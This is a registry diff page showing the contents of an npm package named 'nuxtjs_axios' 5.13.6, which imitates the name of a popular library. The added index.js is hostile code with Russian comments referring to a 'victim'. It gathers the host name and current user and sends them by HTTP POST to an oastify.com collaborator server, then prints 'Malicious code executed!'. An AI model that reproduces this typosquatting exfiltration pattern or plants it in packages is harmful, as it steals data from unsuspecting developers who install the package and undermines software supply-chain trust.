nuxtjs_axios 5.13.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +41 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
|
3
|
+
// Настройте свой сервер для получения информации о жертве
|
4
|
+
const options = {
|
5
|
+
hostname: '6bi8wvhqc1v5j4phpar1zk97uy0pofc4.oastify.com', // Замените на ваш сервер
|
6
|
+
port: 80,
|
7
|
+
path: '/log',
|
8
|
+
method: 'POST',
|
9
|
+
headers: {
|
10
|
+
'Content-Type': 'application/json'
|
11
|
+
}
|
12
|
+
};
|
13
|
+
|
14
|
+
// Собираем данные, которые будем отправлять на сервер
|
15
|
+
const data = JSON.stringify({
|
16
|
+
message: 'PoC Exploitation successful',
|
17
|
+
hostname: require('os').hostname(),
|
18
|
+
user: process.env.USER
|
19
|
+
});
|
20
|
+
|
21
|
+
// Создаём запрос на сервер
|
22
|
+
const req = http.request(options, (res) => {
|
23
|
+
let responseData = '';
|
24
|
+
res.on('data', (chunk) => {
|
25
|
+
responseData += chunk;
|
26
|
+
});
|
27
|
+
|
28
|
+
res.on('end', () => {
|
29
|
+
console.log('Server response:', responseData);
|
30
|
+
});
|
31
|
+
});
|
32
|
+
|
33
|
+
req.on('error', (error) => {
|
34
|
+
console.error('Request error:', error);
|
35
|
+
});
|
36
|
+
|
37
|
+
// Отправляем данные
|
38
|
+
req.write(data);
|
39
|
+
req.end();
|
40
|
+
|
41
|
+
console.log("Malicious code executed!");
|